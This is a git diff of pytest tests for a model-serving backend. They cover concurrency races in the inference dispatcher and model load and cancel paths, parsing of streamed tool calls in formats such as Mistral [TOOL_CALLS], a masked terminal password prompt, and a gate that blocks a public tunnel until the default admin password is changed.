+        lambda: pytest.fail("must not stop a dispatcher another compare request is using"),
+    )
+
+    # A concurrent compare request registers its mailbox, then an unload flips the flag.
+    def flip(*a, **k):
+        o._mailboxes["other"] = object()
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert set(o._mailboxes) == {"other"}, "the other request's mailbox is untouched"
+
+
+def test_dispatched_bail_keeps_preexisting_dispatcher(monkeypatch):
+    # Guard: if the dispatcher was already running before this request (an earlier compare
+    # request started it), a bail must not stop it even with no mailboxes now -- this
+    # request did not start it and another may re-use it. Only the call that starts an
+    # otherwise-idle dispatcher during the race is responsible for stopping it.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()  # already running
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+    monkeypatch.setattr(
+        o, "_stop_dispatcher", lambda: pytest.fail("must not stop a pre-existing dispatcher")
+    )
+
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+
+
+# ----------------------------------------------------------------------------
+# load_model rechecks the loading marker AFTER _wait_response("loaded") and
+# BEFORE publishing -- item #6. cancel_load's post-teardown re-clear only wipes a
+# repopulation that lands during its shutdown; a publish that lands after
+# cancel_load returns survives it, so the recheck must abort the publish itself.
+# ----------------------------------------------------------------------------
+
+
+def test_load_model_aborts_publish_when_cancelled_after_wait_response(monkeypatch):
+    # cancel_load (off the lifecycle gate) discards the loading marker BEFORE its teardown
+    # and re-clears the mirrors AFTER it. A racing load_model can consume its worker's
+    # already-queued "loaded" reply and reach the publish block only AFTER cancel_load has
+    # fully returned -- so cancel_load's post-teardown re-clear cannot undo that publish.
+    # Without a marker recheck between _wait_response("loaded") and the publish, load_model
+    # advertises active_model_name/models for a model /unload already reported cancelled,
+    # over a subprocess cancel_load just killed. The recheck must observe the discarded
+    # marker and abort the publish.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    o._proc = None  # no prior subprocess -> load_model goes straight to the spawn loop
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+    # cancel_load tears the worker down; a no-op keeps the test off real subprocesses.
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None)
+
+    parked = threading.Event()  # load_model reached _wait_response("loaded")
+    cancel_done = threading.Event()  # cancel_load fully returned (marker discarded + re-clear)
+    load_done = threading.Event()
+
+    def blocking_wait_response(expected, timeout = 300.0):
+        parked.set()
+        # Do not consume "loaded" until cancel_load has fully returned, so the publish
+        # would land AFTER cancel_load's post-teardown re-clear -- the window the
+        # re-clear alone cannot cover.
+        assert cancel_done.wait(timeout = 5)
+        return {
+            "type": "loaded",
+            "success": True,
+            "model_info": {"identifier": "m", "display_name": "m"},
+        }
+
+    monkeypatch.setattr(o, "_wait_response", blocking_wait_response)
+
+    load_result: dict = {}
+
+    def run_load():
+        try:
+            load_result["ok"] = o.load_model(
+                types.SimpleNamespace(identifier = "m", gguf_variant = None)
+            )
+        except Exception as exc:  # noqa: BLE001
+            load_result["exc"] = exc
+        finally:
+            load_done.set()
+
+    loader = threading.Thread(target = run_load)
+    loader.start()
+    assert parked.wait(timeout = 5), "load_model must reach _wait_response"
+
+    # cancel_load runs to completion while the load is parked: it discards the marker and
+    # re-clears the mirrors (post-teardown), then returns. Only then let the load consume
+    # "loaded" and attempt to publish.
+    assert o.cancel_load("m") is True
+    cancel_done.set()
+
+    loader.join(timeout = 5)
+    assert load_done.is_set()
+
+    # Fail-without: load_model published active_model_name/models for 'm' AFTER cancel_load
+    # returned, advertising a cancelled model over a killed subprocess.
+    assert load_result.get("ok") is False, "the cancelled load must not report success"
+    assert o.active_model_name is None, "must not publish a cancelled model's active name"
+    assert o.models == {}, "must not publish a cancelled model's mirror"
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# Concurrent compare-mode requests must not each spawn a dispatcher. Compare mode
+# (_generate_dispatched) deliberately bypasses _gen_lock, so two requests can reach
+# _start_dispatcher at once. Without _dispatcher_lifecycle_lock the check-then-spawn
+# races: both observe no live dispatcher and each start one. The extra dispatcher is
+# orphaned (self._dispatcher_thread tracks only the last) and later consumes the
+# "unloaded" reply off the shared resp_queue before unload_model's _wait_response,
+# hanging the unload on its 300s timeout. The lifecycle lock must serialize the
+# check-then-spawn so exactly one dispatcher thread is ever created.
+# ----------------------------------------------------------------------------
+
+
+def test_concurrent_start_dispatcher_spawns_exactly_one():
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # real queue so the dispatcher loop blocks and stays alive
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+
+    n = 32
+    # A barrier aligns every thread on the check-then-spawn window: without the lifecycle
+    # lock several would clear the "is a dispatcher alive?" check together and each spawn one.
+    barrier = threading.Barrier(n)
+    results: list = []
+    results_lock = threading.Lock()
+
+    def racer():
+        barrier.wait()
+        started = o._start_dispatcher()
+        with results_lock:
+            results.append(started)
+
+    threads = [threading.Thread(target = racer, name = f"racer-{i}") for i in range(n)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join(timeout = 5)
+
+    try:
+        # _start_dispatcher returns True only for the caller that actually spawned a thread.
+        # Exactly one caller may win; every other must observe the dispatcher alive and bail.
+        assert results.count(True) == 1, f"expected exactly one spawn, got {results.count(True)}"
+        assert results.count(False) == n - 1
+        # And exactly one live dispatcher thread exists -- no orphan racing resp_queue.
+        live = [
+            t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()
+        ]
+        assert len(live) == 1, f"expected one live dispatcher, found {len(live)}"
+        assert o._dispatcher_thread is live[0]
+    finally:
+        o._stop_dispatcher()
+
+    # Stop joins and clears it; no dispatcher thread must survive.
+    assert o._dispatcher_thread is None
+    remaining = [
+        t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()
+    ]
+    assert remaining == [], "dispatcher must be stopped and joined"
+
+
+# ----------------------------------------------------------------------------
+# A compare request whose _start_dispatcher is queued behind an unload's
+# _stop_dispatcher must NOT spawn a fresh dispatcher. The idle-dispatcher stop
+# and the queued start both serialize on _dispatcher_lifecycle_lock; if the
+# queued start spawned a new dispatcher after the stop, it would become the
+# resp_queue reader and consume unload_model's "unloaded" reply (unroutable, so
+# dropped) before _wait_response saw it -- hanging the unload on its 300s
+# timeout. unload_model sets _unload_pending under the SAME lifecycle lock ahead
+# of the stop, so _start_dispatcher observes it and refuses.
+# ----------------------------------------------------------------------------
+
+
+def test_start_dispatcher_refuses_while_unload_pending():
+    # Direct unit guard: with an unload in progress (_unload_pending set under the
+    # lifecycle lock by unload_model), _start_dispatcher must refuse and spawn nothing,
+    # even though no dispatcher is currently running.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # a spawned dispatcher would block-read here and stay alive
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = True
+
+    started = o._start_dispatcher()
+
+    assert started is False, "must not start a dispatcher while an unload is pending"
+    assert o._dispatcher_thread is None, "no dispatcher thread may be created"
+    live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()]
+    assert live == [], "no dispatcher may exist to consume the unloaded reply"
+
+
+def test_start_dispatcher_resumes_after_unload_clears():
+    # Guard the other direction: once the unload finishes and clears _unload_pending, a
+    # later compare request must be able to start the dispatcher again (the gate must not
+    # wedge). Proves the refusal above is scoped to the unload, not permanent.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+
+    try:
+        assert (
+            o._start_dispatcher() is True
+        ), "a fresh dispatcher must start once no unload is pending"
+        assert o._dispatcher_thread is not None and o._dispatcher_thread.is_alive()
+    finally:
+        o._stop_dispatcher()
+
+    assert o._dispatcher_thread is None
+
+
+def test_queued_start_behind_unload_stop_spawns_no_dispatcher():
+    # Codex's exact ordering, forced deterministically: an unload holds
+    # _dispatcher_lifecycle_lock across its _stop_dispatcher (the idle dispatcher's join
+    # is gated by an event), while a compare request's _start_dispatcher is queued behind
+    # it on the same lock. When the stop releases the lock the queued start must observe
+    # _unload_pending (set under the lock ahead of the stop) and refuse: no fresh
+    # dispatcher may be left running to steal the "unloaded" reply.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # a spawned dispatcher would block-read here and stay alive
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+
+    start_queued = threading.Event()  # release the stop's join once the start is queued behind it
+    join_may_finish = threading.Event()
+
+    class _IdleDispatcher:
+        # Stand-in for the idle compare-mode dispatcher the unload stops. Its join blocks
+        # until we confirm the compare _start_dispatcher is queued behind the stop, so the
+        # stop provably holds _dispatcher_lifecycle_lock across that window.
+        def is_alive(self):
+            return True
+
+        def join(self, timeout = None):
+            assert start_queued.wait(timeout = 5), "compare start must queue behind the stop"
+            assert join_may_finish.wait(timeout = 5)
+
+    o._dispatcher_thread = _IdleDispatcher()
+
+    def unload_side():
+        # unload_model's sequence: set _unload_pending under the lifecycle lock, then stop
+        # the idle dispatcher (also under the lock, via _wait_dispatcher_idle).
+        with o._dispatcher_lifecycle_lock:
+            o._unload_pending = True
+        o._stop_dispatcher()
+
+    started_result = {}
+
+    def compare_side():
+        started_result["v"] = o._start_dispatcher()
+
+    u = threading.Thread(target = unload_side, name = "unload-side")
+    u.start()
+    # Let the unload set _unload_pending, enter _stop_dispatcher, and block in the gated join
+    # while holding the lifecycle lock.
+    time.sleep(0.2)
+
+    c = threading.Thread(target = compare_side, name = "compare-side")
+    c.start()
+    # Let the compare _start_dispatcher block on the lifecycle lock (queued behind the stop).
+    time.sleep(0.2)
+
+    start_queued.set()  # the start is now queued behind the stop
+    join_may_finish.set()  # let the stop's join complete and release the lock
+
+    u.join(timeout = 5)
+    c.join(timeout = 5)
+
+    assert started_result.get("v") is False, "the queued start must refuse while unloading"
+    assert o._dispatcher_thread is None, "the stop cleared it and the queued start spawned nothing"
+    live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()]
+    assert live == [], "no fresh dispatcher may be left to consume the unloaded reply"
diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py
index 06316e2243..da261e8d0d 100644
--- a/studio/backend/tests/test_passthrough_healing.py
+++ b/studio/backend/tests/test_passthrough_healing.py
@@ -280,6 +280,56 @@ class TestStreamHealer:
         assert [c["id"] for c in calls] == ["call_0", "call_1"]
         assert _events_text(events).strip() == "then"
 
+    def test_mistral_array_multiple_calls_all_promoted_in_stream(self):
+        # A canonical Mistral [TOOL_CALLS] array carries several calls under a
+        # SINGLE signal. Draining only the first call would leave the residue
+        # starting at ",{...}]" (no signal), so later calls in the same array
+        # must be promoted in the same pass, not flushed as raw text.
+        healer = StreamToolCallHealer({"get_weather", "get_time"})
+        array = (
+            '[TOOL_CALLS][{"name":"get_weather","arguments":{"city":"Paris"}},'
+            '{"name":"get_time","arguments":{"tz":"UTC"}}]'
+        )
+        events = healer.feed(array) + healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["get_weather", "get_time"]
+        assert [c["id"] for c in calls] == ["call_0", "call_1"]
+        assert _events_text(events) == ""
+
+    def test_mistral_array_multiple_calls_promoted_char_by_char(self):
+        healer = StreamToolCallHealer({"get_weather", "get_time"})
+        array = (
+            '[TOOL_CALLS][{"name":"get_weather","arguments":{"city":"Paris"}},'
+            '{"name":"get_time","arguments":{"tz":"UTC"}}]'
+        )
+        events = []
+        for ch in array:
+            events += healer.feed(ch)
+        events += healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["get_weather", "get_time"]
+        assert _events_text(events) == ""
+
+    def test_mistral_array_undeclared_middle_kept_as_text_others_promoted(self):
+        # A mid-array element for a tool that is not declared must survive as
+        # text while the declared neighbours on either side still promote in
+        # document order.
+        healer = StreamToolCallHealer({"a", "c"})
+        array = (
+            '[TOOL_CALLS][{"name":"a","arguments":{}},'
+            '{"name":"b","arguments":{}},{"name":"c","arguments":{}}]'
+        )
+        events = healer.feed(array) + healer.finalize()
+        assert [c["function"]["name"] for c in _events_calls(events)] == ["a", "c"]
+        assert '"b"' in _events_text(events)
+
+    def test_mistral_array_then_trailing_prose(self):
+        healer = StreamToolCallHealer({"a", "b"})
+        array = '[TOOL_CALLS][{"name":"a","arguments":{}},{"name":"b","arguments":{}}]'
+        events = healer.feed(f"{array} all done") + healer.finalize()
+        assert [c["function"]["name"] for c in _events_calls(events)] == ["a", "b"]
+        assert "all done" in _events_text(events)
+
     def test_incomplete_call_healed_at_finalize(self):
         healer = StreamToolCallHealer({"Bash"})
         events = healer.feed('<tool_call>{"name":"Bash","arguments":{"cmd":"ls"}}')
@@ -465,6 +515,7 @@ class ScriptedClient:
         _url,
         json = None,
         timeout = None,
+        headers = None,
     ):
         self.posts.append(json)
         return httpx.Response(200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)])
@@ -1356,3 +1407,43 @@ class TestOpenaiStreamingRoute:
             assert chunks[0] == line + "\n\n"  # byte-for-byte relay
 
         asyncio.run(_run())
+
+
+class TestHealerSignalAlignment:
+    """The passthrough healer buffers only formats its parser can promote.
+    The loops' bare [ARGS] rehearsal signal is gated on active tool names
+    there; ungated in the healer it would stall legitimate prose until
+    finalization without ever producing a promotable call."""
+
+    def test_heal_signals_are_promotable_formats_only(self):
+        from core.inference.passthrough_healing import _HEAL_SIGNALS
+        assert set(_HEAL_SIGNALS) == {
+            "<tool_call>",
+            "<|tool_call>",
+            "<function=",
+            "[TOOL_CALLS]",
+            "<|content_invoke_tool_json|>",
+        }
+
+    def test_prose_with_bare_args_marker_streams_through(self):
+        healer = StreamToolCallHealer({"Bash"})
+        chunks = [
+            "Use the pattern foo",
+            "[ARGS] in templates when calling tools, ",
+            "and remember to close it.",
+        ]
+        streamed = ""
+        for chunk in chunks:
+            streamed += _events_text(healer.feed(chunk))
+        # Incremental relay: nothing withheld for finalize.
+        assert streamed == "".join(chunks)
+        final = healer.finalize()
+        assert not _events_calls(final)
+        assert not healer.healed
+
+    def test_bracket_tool_calls_still_promote_in_stream(self):
+        healer = StreamToolCallHealer({"web_search"})
+        events = healer.feed('[TOOL_CALLS]web_search{"query": "unsloth docs"}') + healer.finalize()
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "web_search"
+        assert healer.healed
diff --git a/studio/backend/tests/test_password_prompt.py b/studio/backend/tests/test_password_prompt.py
new file mode 100644
index 0000000000..1af8836065
--- /dev/null
+++ b/studio/backend/tests/test_password_prompt.py
@@ -0,0 +1,340 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Masked terminal password prompt (auth/terminal_prompt.py): reader echo and
+editing, the change loop's validation/re-prompt behavior, and the pure
+should-prompt gate. Drives the reader through a scripted fake getch, so no
+tty (and no msvcrt on Linux) is needed."""
+
+from __future__ import annotations
+
+import io
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from auth import terminal_prompt as tp  # noqa: E402
+
+
+def _fake_getch(keys):
+    """Scripted keystroke source: yields one item per _getch() call. Items may
+    be multi-char strings to simulate a paste burst arriving in one read."""
+    it = iter(keys)
+
+    def getch():
+        return next(it)
+
+    return getch
+
+
+def _read(
+    monkeypatch,
+    keys,
+    prompt = "P: ",
+):
+    monkeypatch.setattr(tp, "_getch", _fake_getch(keys))
+    out = io.StringIO()
+    value = tp._read_password(prompt, out = out)
+    return value, out.getvalue()
+
+
+# ── _read_password ───────────────────────────────────────────────────
+
+
+def test_reader_echoes_one_star_per_char(monkeypatch):
+    value, out = _read(monkeypatch, list("secret") + ["\r"])
+    assert value == "secret"
+    assert out.count("*") == 6
+    assert "secret" not in out
+
+
+def test_reader_backspace_edits_and_erases_star(monkeypatch):
+    value, out = _read(monkeypatch, list("abc") + ["\x7f"] + list("d") + ["\n"])
+    assert value == "abd"
+    assert "\b \b" in out
+    # 4 stars were printed (a, b, c, d); one was erased.
+    assert out.count("*") == 4
+
+
+def test_reader_backspace_on_empty_buffer_is_noop(monkeypatch):
+    value, out = _read(monkeypatch, ["\x08", "\x7f"] + list("x") + ["\r"])
+    assert value == "x"
+    assert "\b \b" not in out
+
+
+def test_reader_paste_burst_delivers_all_chars(monkeypatch):
+    # A paste can arrive as one multi-char read; every char must count.
+    value, out = _read(monkeypatch, ["pasted-secret", "\r"])
+    assert value == "pasted-secret"
+    assert out.count("*") == len("pasted-secret")
+
+
+def test_reader_unicode_password(monkeypatch):
+    value, _ = _read(monkeypatch, list("pässwörd✓") + ["\r"])
+    assert value == "pässwörd✓"
+
+
+def test_reader_ignores_other_control_chars(monkeypatch):
+    value, _ = _read(monkeypatch, ["\t", "\x1b"] + list("ok") + ["\r"])
+    assert value == "ok"
+
+
+def test_reader_ctrl_c_raises_keyboard_interrupt(monkeypatch):
+    monkeypatch.setattr(tp, "_getch", _fake_getch(list("ab") + ["\x03"]))
+    with pytest.raises(KeyboardInterrupt):
+        tp._read_password("P: ", out = io.StringIO())
+
+
+def test_reader_ctrl_d_on_empty_raises_eof(monkeypatch):
+    monkeypatch.setattr(tp, "_getch", _fake_getch(["\x04"]))
+    with pytest.raises(EOFError):
+        tp._read_password("P: ", out = io.StringIO())
+
+
+def test_reader_ctrl_d_mid_input_is_ignored(monkeypatch):
+    value, _ = _read(monkeypatch, list("ab") + ["\x04"] + list("c") + ["\r"])
+    assert value == "abc"
+
+
+def test_reader_windows_key_prefix_is_ignored(monkeypatch):
+    # _getch_windows reports swallowed function-key sequences as "\x00".
+    value, _ = _read(monkeypatch, ["\x00"] + list("w") + ["\r"])
+    assert value == "w"
+
+
+def test_reader_holds_raw_mode_once_for_whole_line(monkeypatch):
+    # Regression: cbreak/no-echo must be held for the ENTIRE line, not toggled
+    # per keystroke. Re-enabling echo between reads opens a window where a
+    # keystroke arriving in the gap echoes the password in cleartext. Assert the
+    # raw-mode context wraps the whole read exactly once and every keystroke is
+    # read while it is active.
+    events = []
+
+    class _SpyRawMode:
+        def __enter__(self):
+            events.append("enter")
+            return self
+
+        def __exit__(self, *exc):
+            events.append("exit")
+            return False
+
+    monkeypatch.setattr(tp, "_prompt_raw_mode", _SpyRawMode)
+
+    src = _fake_getch(list("s3cr3t!!") + ["\r"])
+
+    def _getch_recording():
+        assert events and events[-1] == "enter", "keystroke read outside raw mode"
+        return src()
+
+    monkeypatch.setattr(tp, "_getch", _getch_recording)
+    value = tp._read_password("P: ", out = io.StringIO())
+    assert value == "s3cr3t!!"
+    assert events == ["enter", "exit"]
+
+
+# ── prompt_for_password_change ───────────────────────────────────────
+
+
+def _run_loop(
+    monkeypatch,
+    keys,
+    *,
+    min_length = 8,
+    current = "bootstrap-pw",
+):
+    monkeypatch.setattr(tp, "_getch", _fake_getch(keys))
+    out = io.StringIO()
+    applied = []
+    ok = tp.prompt_for_password_change(
+        min_length = min_length,
+        is_current_password = lambda pw: pw == current,
+        apply_change = applied.append,
+        out = out,
+    )
+    return ok, applied, out.getvalue()
+
+
+def _keys(*lines):
+    keys = []
+    for line in lines:
+        keys.extend(list(line))
+        keys.append("\r")
+    return keys
+
+
+def test_loop_success_applies_once(monkeypatch):
+    ok, applied, out = _run_loop(monkeypatch, _keys("new-password", "new-password"))
+    assert ok is True
+    assert applied == ["new-password"]
+    assert "Password updated" in out
+    assert "new-password" not in out
+
+
+def test_loop_short_password_reprompts(monkeypatch):
+    ok, applied, out = _run_loop(monkeypatch, _keys("short", "long-enough-pw", "long-enough-pw"))
+    assert ok is True
+    assert applied == ["long-enough-pw"]
+    assert "at least 8 characters" in out
+
+
+def test_loop_whitespace_only_reprompts(monkeypatch):
+    ok, applied, out = _run_loop(monkeypatch, _keys(" " * 8, "long-enough-pw", "long-enough-pw"))
+    assert ok is True
+    assert applied == ["long-enough-pw"]
+    assert "contain spaces" in out
+
+
+def test_loop_password_with_inner_space_reprompts(monkeypatch):
+    ok, applied, out = _run_loop(
+        monkeypatch, _keys("has space pw", "long-enough-pw", "long-enough-pw")
+    )
+    assert ok is True
+    assert applied == ["long-enough-pw"]
+    assert "contain spaces" in out
+
+
+def test_loop_rejects_current_password(monkeypatch):
+    ok, applied, out = _run_loop(
+        monkeypatch, _keys("bootstrap-pw", "fresh-password", "fresh-password")
+    )
+    assert ok is True
+    assert applied == ["fresh-password"]
+    assert "must differ" in out
+
+
+def test_loop_mismatch_reprompts_then_succeeds(monkeypatch):
+    ok, applied, out = _run_loop(
+        monkeypatch,
+        _keys("first-attempt", "typo-attempt", "second-attempt", "second-attempt"),
+    )
+    assert ok is True
+    assert applied == ["second-attempt"]
+    assert "do not match" in out
+
+
+def test_loop_ctrl_c_aborts_without_applying(monkeypatch):
+    ok, applied, out = _run_loop(monkeypatch, list("ab") + ["\x03"])
+    assert ok is False
+    assert applied == []
+    assert "aborted" in out
+
+
+def test_loop_eof_aborts_without_applying(monkeypatch):
+    ok, applied, out = _run_loop(monkeypatch, ["\x04"])
+    assert ok is False
+    assert applied == []
+    assert "aborted" in out
+
+
+def test_loop_ctrl_c_at_confirmation_aborts(monkeypatch):
+    ok, applied, _ = _run_loop(monkeypatch, _keys("valid-password") + ["\x03"])
+    assert ok is False
+    assert applied == []
+
+
+def test_loop_min_length_counts_code_points(monkeypatch):
+    # 8 unicode code points must pass a min_length of 8.
+    pw = "pässwörd"
+    assert len(pw) == 8
+    ok, applied, _ = _run_loop(monkeypatch, _keys(pw, pw))
+    assert ok is True
+    assert applied == [pw]
+
+
+# ── should_prompt_password_change ────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "tunnel,requires,stdin_tty,stderr_tty,expected",
+    [
+        (True, True, True, True, True),
+        (False, True, True, True, False),  # tunnel not starting (loopback no-op)
+        (True, False, True, True, False),  # password already changed
+        (True, True, False, True, False),  # piped stdin (headless)
+        (True, True, True, False, False),  # redirected stderr
+        (False, False, False, False, False),
+    ],
+)
+def test_should_prompt_matrix(tunnel, requires, stdin_tty, stderr_tty, expected):
+    assert (
+        tp.should_prompt_password_change(
+            tunnel_will_start = tunnel,
+            requires_change = requires,
+            stdin_isatty = stdin_tty,
+            stderr_isatty = stderr_tty,
+        )
+        is expected
+    )
+
+
+def test_stream_eof_aborts_instead_of_submitting(monkeypatch):
+    # A dead stream ("" from _getch, e.g. a closed pty) must abort the line,
+    # never silently submit the partial password typed so far.
+    import io
+
+    err = io.StringIO()
+    monkeypatch.setattr(tp, "_getch", _fake_getch(list("abc") + [""]))
+    with pytest.raises(EOFError):
+        tp._read_password("New password: ", out = err)
+
+
+# ── resolve_supplied_password: non-interactive --password / env / stdin ──
+
+
+def test_resolve_supplied_password_literal_value_and_note(monkeypatch):
+    import io
+
+    monkeypatch.delenv(tp.SUPPLIED_PASSWORD_ENV, raising = False)
+    out = io.StringIO()
+    assert tp.resolve_supplied_password("hunter2pw", out = out) == "hunter2pw"
+    # A literal value warns that it is visible in the process list / history.
+    assert "process list" in out.getvalue()
+
+
+def test_resolve_supplied_password_stdin(monkeypatch):
+    import io
+
+    monkeypatch.delenv(tp.SUPPLIED_PASSWORD_ENV, raising = False)
+    monkeypatch.setattr(sys, "stdin", io.StringIO("from-stdin-pw\n"))
+    assert tp.resolve_supplied_password("-") == "from-stdin-pw"
+
+
+def test_resolve_supplied_password_stdin_empty_is_none(monkeypatch):
+    import io
+
+    monkeypatch.delenv(tp.SUPPLIED_PASSWORD_ENV, raising = False)
+    monkeypatch.setattr(sys, "stdin", io.StringIO(""))
+    assert tp.resolve_supplied_password("-") is None
+
+
+def test_resolve_supplied_password_env(monkeypatch):
+    monkeypatch.setenv(tp.SUPPLIED_PASSWORD_ENV, "env-secret-pw")
+    assert tp.resolve_supplied_password("") == "env-secret-pw"
+    assert tp.resolve_supplied_password(None) == "env-secret-pw"
+
+
+def test_resolve_supplied_password_literal_beats_env(monkeypatch):
+    import io
+    monkeypatch.setenv(tp.SUPPLIED_PASSWORD_ENV, "env-secret-pw")
+    assert tp.resolve_supplied_password("cli-wins-pw", out = io.StringIO()) == "cli-wins-pw"
+
+
+def test_resolve_supplied_password_stdin_beats_env(monkeypatch):
+    # `--password -` reads stdin and short-circuits, so a set env var does not win.
+    import io
+
+    monkeypatch.setenv(tp.SUPPLIED_PASSWORD_ENV, "env-secret-pw")
+    monkeypatch.setattr(sys, "stdin", io.StringIO("stdin-wins-pw\n"))
+    assert tp.resolve_supplied_password("-") == "stdin-wins-pw"
+
+
+def test_resolve_supplied_password_off_by_default(monkeypatch):
+    monkeypatch.delenv(tp.SUPPLIED_PASSWORD_ENV, raising = False)
+    assert tp.resolve_supplied_password("") is None
+    assert tp.resolve_supplied_password(None) is None
diff --git a/studio/backend/tests/test_password_prompt_backstop.py b/studio/backend/tests/test_password_prompt_backstop.py
new file mode 100644
index 0000000000..3c2c1956f9
--- /dev/null
+++ b/studio/backend/tests/test_password_prompt_backstop.py
@@ -0,0 +1,405 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Pre-tunnel terminal password gate: never publish a public Cloudflare URL
+while the seeded default admin password is active. Imports run.py directly,
+so run under the Unsloth venv."""
+
+from __future__ import annotations
+
+import io
+import re
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import run  # noqa: E402
+from auth import storage as auth_storage  # noqa: E402
+from auth import terminal_prompt  # noqa: E402
+from auth.terminal_prompt import should_prompt_password_change  # noqa: E402
+
+_GATE_KWARGS = dict(
+    host = "127.0.0.1",
+    secure = True,
+    api_only = False,
+    frontend_served = True,
+)
+
+
+# ── pure decision matrix ─────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "tunnel_will_start,requires_change,stdin_isatty,stderr_isatty,expected",
+    [
+        (True, True, True, True, True),
+        # Any missing precondition suppresses the prompt.
+        (False, True, True, True, False),
+        (True, False, True, True, False),
+        (True, True, False, True, False),
+        (True, True, True, False, False),
+        (False, False, False, False, False),
+    ],
+)
+def test_should_prompt_matrix(
+    tunnel_will_start, requires_change, stdin_isatty, stderr_isatty, expected
+):
+    assert (
+        should_prompt_password_change(
+            tunnel_will_start = tunnel_will_start,
+            requires_change = requires_change,
+            stdin_isatty = stdin_isatty,
+            stderr_isatty = stderr_isatty,
+        )
+        is expected
+    )
+
+
+# ── _terminal_password_gate unit tests ───────────────────────────────
+
+
+class _Stream(io.StringIO):
+    def __init__(self, isatty: bool):
+        super().__init__()
+        self._isatty = isatty
+
+    def isatty(self) -> bool:
+        return self._isatty
+
+
+class _BrokenStream(io.StringIO):
+    """Service-wrapper stand-in whose isatty() raises (closed stdin)."""
+
+    def isatty(self) -> bool:
+        raise ValueError("I/O operation on closed file")
+
+
+def _patch_streams(monkeypatch, *, tty: bool) -> _Stream:
+    stderr = _Stream(isatty = tty)
+    monkeypatch.setattr(sys, "stdin", _Stream(isatty = tty))
+    monkeypatch.setattr(sys, "stderr", stderr)
+    return stderr
+
+
+def _patch_seeded_admin(monkeypatch, *, requires_change: bool) -> None:
+    # The gate seeds the admin row itself (it can run before lifespan startup);
+    # tests fake both the seeding no-op and the flag.
+    monkeypatch.setattr(auth_storage, "ensure_default_admin", lambda: False)
+    monkeypatch.setattr(auth_storage, "requires_password_change", lambda u: requires_change)
+
+
+def test_gate_skips_when_tunnel_off(monkeypatch):
+    # Short-circuits before touching auth storage at all.
+    def _boom(*a, **k):
+        raise AssertionError("storage must not be consulted when the tunnel is off")
+
+    monkeypatch.setattr(auth_storage, "requires_password_change", _boom)
+    monkeypatch.setattr(auth_storage, "ensure_default_admin", _boom)
+    assert run._terminal_password_gate(tunnel_will_start = False, **_GATE_KWARGS) == (True, False)
+
+
+def test_gate_skips_when_password_already_changed(monkeypatch):
+    _patch_streams(monkeypatch, tty = True)
